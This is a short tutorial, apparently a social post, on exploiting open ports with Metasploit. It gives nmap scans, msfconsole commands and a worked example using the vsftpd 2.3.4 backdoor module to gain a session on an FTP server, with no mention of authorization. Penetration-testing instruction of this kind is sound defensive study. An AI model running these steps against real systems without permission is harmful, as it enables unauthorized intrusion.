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🛡 How to exploit open ports using Metasploit

It requires knowledge of the basics of cybersecurity, as well as knowing how to use the tools effectively, I will explain the basic steps for this with a practical example.

### Basic steps to exploit open ports using Metasploit:

Collecting information:
First of all, you should gather information about the target, you can use tools like
nmap
to scan the network and find open ports.

⏺ example:

nmap -sS -p- <target_ip>

Open Metasploit:
After gathering the information, open Metasploit with the command:

msfconsole

Finding the right exploitation:
Find the appropriate exploit for the discovered open port, you can use the command:

search <service_name>

For example, if there is an open port for FTP service, you can search for exploits related to FTP.

Select Exploitation:
After finding the appropriate exploit, load it using the command:

use <exploit_path>

Configure options:
After downloading the exploit, you need to configure the necessary options like target IP address and open port, you can use the command:

show options

Then specify the required options using the command:

set RHOST <target_ip>
set RPORT <target_port>

Running the exploit:
After configuring the options, you can run the exploit using the command:

exploit

Practical example:

Let's say we have an FTP server running on port 21, and we want to use Metasploit to exploit a known vulnerability.

Gathering information using nmap:

nmap -sS -p 21 <target_ip>

Open Metasploit:

msfconsole

Searching for FTP exploits:

search ftp

Select Exploit:
Let's say we find an exploit called

exploit/unix/ftp/vsftpd_234_backdoor

(a known vulnerability in vsftpd).

use exploit/unix/ftp/vsftpd_234_backdoor

Configure options:

set RHOST <target_ip>
set RPORT 21

Running the exploit:

exploit

After running the exploit, if the operation is successful, you will get a session with the target system.

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